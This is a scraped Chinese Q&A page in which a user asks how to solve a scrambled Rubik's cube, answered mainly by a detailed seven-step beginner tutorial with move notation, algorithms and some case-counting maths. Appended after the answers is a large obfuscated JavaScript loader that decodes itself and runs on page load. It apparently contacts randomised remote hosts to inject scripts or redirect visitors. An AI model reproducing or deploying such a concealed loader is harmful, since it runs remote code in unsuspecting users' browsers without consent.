我的魔方已经全乱了,怎么还原

2025-02-08 02:01:36
推荐回答(5个)
回答1:

(第一步)在第一面做一个十字,形成如下的样子:(您也可以看看 第一步的视频讲解)

注意啊,你对好的十字必须如上图,每个侧面的棱和中心是同色的。做成这步的方法很多,我建议你自由发挥。如果实在有困难,我这里提供一个万全的办法,就是把中间层含有蓝色的棱色块变到底面上去,然后对好侧面颜色,再翻上来。我这里就举一个例子大家就应该明白了,对于左图B位置,只需要下面3步,魔方

动画会自动播放,你也可以用播放条右边的和一步一步看。最左边的回到初始状态。
F D R2

初始状态 把蓝黄色块 转到底面 旋转底面,对好侧面黄色 翻上来

我说的够清楚了吧。D位置和B位置完全同理,也是把中间层含有蓝色的棱色块变到底面上去,然后对好侧面颜色,再翻上来,而对于A和C位置你可以旋转该面,让其变到B或D位置。如果某个棱色块的蓝色面已经在顶面或底面,相信大家会有办法解决的。 你要记住的是,如果遇到困难,就把蓝色变到底面,在底面上你是可以任意旋转的。

有时候,你会碰到左图这样的情况,蓝黄色块转到底面时影响了已经对好的红色面,这时候,你需要在最后一步之前恢复红色面的位置。具体操作见下。

魔方小站)

F D F' R2

初始状态 把蓝黄色块 转到底面,但
这影响了对好的红色侧面 旋转底面,对好侧面黄色 恢复红色面 蓝黄色块转到顶层

照上面说的,你重复做4个棱,应该就可以做好十字啦。

这里我给初学者建议一种更清晰快速的方法,蓝色棱变到底面之后 ,可以不急着把它翻上去,可以变成左图这个样子,注意在底面上4个棱可以是任意顺序,这会给你减少很大难度,这里是两个例子,给大家开阔下思路,

最后把他们逐一对好侧面颜色翻上去就行啦。比如:

下面我要说说标记。你没准注意到上个表格里的一些奇怪的字母,那些字母的意思很简单,

F = front face 前面 B = back face 后面 R = right face 右面
L = left face 左面 U = up face 上面 D = down face 下面

以上面的表里的标记为例,F就代表前面顺时针转90°,F'代表前面逆时针转90°,R2代表右面转180°,就这么简单,大家明白了吧。

另外,如果你的魔方是有数字的魔方,或者带图形、带图案的魔方,那么你六面中心块就有了朝向的问题,你可以参考这一页在此步对好侧面中心块。

--------------------------------------------------------------------------------

(第二步)对好第一面,加上四侧面的T字型,形成:(您也可以看看 第二步的视频讲解)

做好这一步其实你只要学会一招就够了。那个蓝色的角色块,转来转去之后就6种位置,

对于A位置,只需下面3步,对于C、D、E、F,请先到后面看看怎么把他们变成A或B。

注意哦,我们归位的小角块的颜色必须要对应好。比如这里的蓝红黄小角块必须上到红黄角,不能上错哦,否则T字就出不来啦。可能有的朋友已经觉得我像唐僧了,不过确实有的朋友有这个问题的,我还是要说的详细一点。A位置转法如下:魔方

F D F'

初始状态 此步很巧妙,同时达成两个目的:一个是让顶层的目标角位置到底层来“接应”蓝红黄角块,另一个是让蓝红黄角块也准备到了应有的位置。 让蓝红黄角块 转到目标位。 转回顶层。

而对于B位置,其实完全一样,就是把刚才的3步对于顶面对角线做一个镜像,方

如左图,对于顶面对角线做一个镜像,我们将在后面无数次的遇到,所以请大家一定注意这个镜像的意义。

上面F D F'的对角线镜像就是R' D' R,具体请看,

此动画设为不自动播
放,请按播放键开始 R' D' R

B位置的图就是A位置的对角线镜像,所以他的算法就是FDF'对着对角线照镜子。 F的对角线镜像就是R',大家应该很明白吧,参看一下上面镜子的图片。 D的镜像就是D' F'的镜像就是R了

而对于C、D、E、F位置,你总可以用旋转侧面和底面将其转到A或B位置。这里是几个例子 :(这些算法是不应该记的,你应该自己摸索着转几下,肯定能转出来)

对于F 对于C 对于D 对于E

如果您暂时不能看动画,可以点击下面算法看简单的图解
F D2 F' D' F D F' D' R' D' R D F D F'

重复做4个角,你就会得到

这样我们已经打好了地基,简单吧。

--------------------------------------------------------------------------------

(第三步)放第二层的棱色块,变成形如 (您也可以看看 第三步的视频讲解)

由上一步到这一步的图,大家肯定看出了这步我们要处理的是中间层红白,红黄,橙白,橙黄四个棱色块。这次,你先把魔方翻过来了,蓝面朝下,绿面朝上,再看看以上4个棱色块哪些位于顶面(绿色为中心的面),随便选择一个,我们就从它开始,这里以红白为例,通常,你会碰到两种情况,

我们要把顶层红白棱色块插入到上图红色箭头所指的位置,你应该把红白所夹的角放在最靠近你的位置(右前),然后一、二种情况非常好识别了,同色的一排分别在前面和右面。

对于第一种情况,使用下面的算法,

U R U' R'

U' F' U F

整个算法是URU'R' + U'F'UF,是不是很有规律?我们看,好像后一半U'F'UF正好是 前一半URU'R'的对角线镜像吧,是吧?我们看前四步URU'R'的作用是把左图里我们要的两个小块组合起来,上表中标为红色的第5图显示了组合好的两个色块,而后四步U'F'UF则是把我们组合好的两个小块填进正确的位置。魔方

所以,如果你碰见,

该怎么办呢?可能好多朋友都看出了,我们的算法应该是上面算法的对角线镜像,因为我们所要做的就是对着对角线照个镜子,因为前半后半互为对角线镜像,所以算法就是前半后半颠倒过来,成为U'F'UF + URU'R',魔方

U' F' U F

U R U' R'

会有一些情况下,你需要的棱色块不在顶面,而在第二层的错误位置或者朝向,这时咋办?首先,你要先做在顶面上的那些, 可能不听话的棱色块会自己变到顶面上,如果最后他还是不听话,如左图,我们就用上面算法把个无关大局的棱色块搞到该位置,我们要的那个红白棱色块就自然换到顶层了,这稍微有点麻烦,不过对于我们初等解法只能这样先忍忍了,这也可能会激发大家去学高级的解法吧:)

(第四步)在魔方新的顶面上画十字 (您也可以看看 第四步的视频讲解)
变成:

下面我们要学一个新的算法,这个算法会把顶层在如下4种情况中切换,顶面的4个棱色块在旋转之后,也只可能有这4种情况,

1 2 3 4

概率1/8 概率1/4 概率1/2 概率1/8

这步我们 把角色块都当成灰色的,只看棱色块,比如你要见到左图这样,就算是上面第3种情况,见到右图这样,就算上面第2种情况。(转载自魔方小站)

在应用算法前,你应该参照上图顶面绿色的样子来确定你魔方的方位,我们只要对出十字就好啦,并不需要十字侧面 的颜色和下两层吻合。请注意,这个算法会按顺序从左到右在这4种情况中切换,也就是如果你遇见“点”(就是上面第一个图),你就要应用3次这个算法(每次之前都要按照上图对好方位哦),遇见“一”字就要应用2次算法,我越来越觉得自己像唐僧了,

R' U' F' U F R

另外,在“一字”的时候,你也可以试试
R' F' U' F U R

你观察一下就知这个算法是上面算法的逆算法。他可以直接从“一”字就对好十字的。

如果你想加快对十字的速度,你也可以访问一下高级玩法的第二页,里面介绍的方法和这个方法类似,不过手法更顺畅,可以比较有效的提高对十字的速度,尤其是碰到"点"的情况。

一开始呢,学一个算法的时候总是容易弄错,起初不可能记得很清楚,就很容易拧乱,这样往往会很郁闷。我建议大家应该在这个图形的pattern上找到某种提示,特别是一些比较“整”的图形,我一般记一个算法给我最大提示的就是底面的蓝色色块,因为他们是已经对好的最整的图形,他们是怎么分开又怎么重新组合到一起,然后怎么归位的,想象出一个过程或一个“故事”,这样这个算法就很容易记了,包括后面的算法都是。
又一个小思考:这里有一个问题,为什么说只有这4种情况呢,这样不会出现吗?

答案是不会, 如果你的魔方真出现了上面的情况,那么你的魔方肯定是组装错了,如果他随机组装,他有1/2的 概率把棱的朝向装错(对应后面步骤,他还可能把角装错,把顺序装错),解决的办法是你任意翻转一个棱就行了,你翻转的这个棱甚至可以不是顶层的含有绿色的棱,也就是说魔方你单独只翻转一个棱就不能还原了,但是你任意的翻转两个棱就一定可以还原,这是可以数学证明的。 具体的原理,你感兴趣可以看看这页。

--------------------------------------------------------------------------------

(第五步)翻转魔方顶面四角,对好顶面颜色,使之形成 (您也可以看看 第五步的视频讲解)

魔方顶面的四角只可能有8种情况,第一种就是已经对好,而其他7种如下。魔方

概率 4/27 4/27 4/27 4/27 4/27 2/27 4/27

如果你想了解上面的概率怎么算出的可以看看这页,上面7个数字加起来是26/27,还有1/27的概率就是对应已经对好。

如果你的图案在这8种之外,如下图的例子,那么肯定是你的魔方组装错了,你需要拆下一个角块,调整绿色的朝向再装回,正确朝向就是上面的8种情况之一就行了。下面只是一些例子,去除旋转,你可能碰到16种错误的情况,不过只要调整过一次,错误的图形就永远不会出现了。

关于为什么只有这8种情况,我又要发一通大道理了,如果急着要看算法可以先跳过:)

首先我们观察1,2两种情况,在这两种情况里,3个未对好的块在旋转意义下是处于相同的位置的,对吧。这是他们一个特点。绿色在每个角有3种朝向,如果我们对4角进行标记,不妨把1情况叫做(1113从右上角开始标号),2情况叫做(2223),括号里的3就代表绿色块已经在顶面了,3情况(1233),4情况(2133),5情况(1323),6情况(1212),7情况(2112),你有没有发现一些规律呢?括号里数字的和一定是3的整数倍!为啥非得是3的整数倍?建议你去看看一开始的魔方总变化数道理,那里面证明了角块朝向的角度和应该是360度的整数倍。这个限制,决定了我们只能有8种情况。
这个问题真是不特别简单,首先,我们出个题啊,要是魔方顶面4个角位置可以标号1、2、3,就像上面一样可以标成是(1113)(1233)等等,去除旋转后相同的情况,共有多少种标法?

如果不去除旋转相同,那么4个角就是可以区分的,这个答案很简单就是3^4=81种情况,对吧,但是如果去除旋转相同,就 比较复杂了,比如1113和3111是同一种标法,只是魔方顶面转了90度而已,你可以自己先想想这个题。

这是个组合数学的经典问题,叫做Necklace problem(就是用几种颜色的珠子穿项链),或者叫做polya定理,如果有兴趣也可以到这里看看,不过我还是推荐你先自己想一下,这里面的公式会一下子让你很faint,如果你对“欧拉数”之类的概念不熟或根本没听说过的话。

我们这种情况不用mathworld里面的那个公式,枚举法就可以啦:)不过要想的周密一点,答案是24种,我验算了和那个恐怖公式给出的答案一样。而在这24种里,4个数字的"和"被3除的余数,应该是平均分配给0,1,2吧,这个我没有证明,呵呵,这样被3整除的应该就有8个了吧。就是 对好+这7种:

现在我们开始说算法了,对于第一种情况,我们应该把顶面已经是绿色那个角放在最上面(也就是"左后角"),这时你不用关心下面两层 的哪面朝前,魔方

应用下面算法,这个算法的作用就是保持最上面角(左后角)的朝向不变,同时把下面三个角的绿色翻上去。

算法1:

R' U' R U'

R' U'2 R

对于第二种情况,我们应该发现他就是一情况的对角线镜像是吧,所以上面算法去做对角线镜像就得到了情况二的算法:魔方

算法2:

F U F' U

F U2 F'

对于3-7情况:

你有2/3的概率碰到他们,其实你完全可以自己用1,2算法试试翻这么几次,看看会发生什么,慢慢就找到规律了。3-7情况都是用1,2算法的组合解决,最多用2个算法。魔方

如果你等不及了或者觉得自己的方法不够快,可以看看这里参考3-7情况我的方法。

--------------------------------------------------------------------------------

(第六步)调整四角顺序,使之形成:(您也可以看看 第六步的视频讲解)

这步很简单,首先转转顶面看看是不是已经对好(概率1/6),如果不是就首先找一条边,这条边的两个角有相同的颜色(概率2/3),像以下这些例子,另有1/6的概率你找不到这样的一条边,我们一会儿再说。魔方

两角中间的棱颜色和下面两层的颜色我们不用关心。现在把这条边放在背面,以上表最后一个为例,变成,

正面 背面

然后应用下面算法,

L F' L B2

L' F L B2 L2

如果应用完算法 ,四个角还没有和下面两层的颜色吻合,转转就可以了。这步本质上的作用就是交换了前面两个角的位置。或者说做了这样的一个逆时针旋转,这两个作用在顶面旋转过后是等效的。魔方

(第二种情况)找不到有两角同色的边

如果你碰到的情况找不到这样一条有两角同色的边,你就闭着眼睛应用一遍上面的算法,就一定可以找到啦,如果你感兴趣这是为什么,可以看看这页。 这种情况其实是你需要交换一个对角线上的两个角。

另外,你也可以试试这个算法的左右镜像,使用方法一样,效果也一样。

R' F R' B2 R F' R' B2 R2

好啦,第六步也讲完拉,就差最后一步啦!先告诉大家一个好消息,最后一步不用学新的算法就行,我们用第五步的算法1和算法2就可以搞定:)

--------------------------------------------------------------------------------

(第七步)将最后的棱色块顺序排列好 (您也可以看看 第七步的视频讲解)
最后一步啦,大家是不是都很兴奋啊,好不容易啊,胜利就在前方了。最后一步很简单,你只要看准魔方的方向就行啦。魔方

第一种情况,你想让3个棱逆时针旋转。(概率1/3)

首先你要把已经对好颜色的那条边放在前面。

再用第五步的算法1+U2+算法2+U2 就行啦。也就是

R' U' R U' R' U'2 R U2 F U F' U F U2 F' U2
第五步算法1 第五步算法2

你可以上去看看第五步的图。也可以看看

算法1、2中间的U2也可以换成旋转你的整个魔方180°,这样最后一个U2也不需要了。

就是这样,

第二种情况,你想让3个棱顺时针旋转。(概率1/3)

那么要把已经对好颜色的那条边放在右面。这时你会发现第二个图就是第一个图的对角线镜像。

所以就是第五步算法2+U2+算法1+U2

F U F' U F U2 F' U2 R' U' R U' R' U'2 R U2
第五步算法2 第五步算法1

或者,去掉中间的U2改成旋转整个魔方180°,

上面这个顺时针逆时针怎么摆先用哪个算法不用死记,死记也很难记,你只要注意:1. 第二、四步转顶面的方向就是顶面3个箭头的方向;2. 魔方开始摆放的方位会使你第一步总是"切开"那个对好的面,你就知道该先用那个算法,魔方怎么摆了。

概率1/12 概率1/6

如果你碰到了需要如上这样变的情况。其实很简单,你随便应用一遍上面顺时针或逆时针的算法,然后他就会变成顺时针或逆时针的情况了。如果你碰到的确情况不是上面四种情况之一,那么你就一定要卸下两个棱,交换他们的位置,只要调整一次,这种情况就永远不会出现了。

上面介绍的方法,虽然我们不用记新算法了,但是很长,需要16步,如果你愿意,可以再记一个算法。魔方

(R U ' R) U (R U R U') (R' U' R2) (R2' U)(R U R' U')(R' U')(R' U R')

这两个算法互为顶面水平中线镜像。这样就简单一些了。

回答2:

最简单的办法!拿支笔涂!

回答3:

魔方小站 照着一步步来 一定会 不过一开始可能要花一点时间 我也是从一点不会到现在基本会了

回答4:

可以拿个工具拆开它再合成,遗憾有点图片破了

回答5:

我现在练得还原6面要3分钟

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();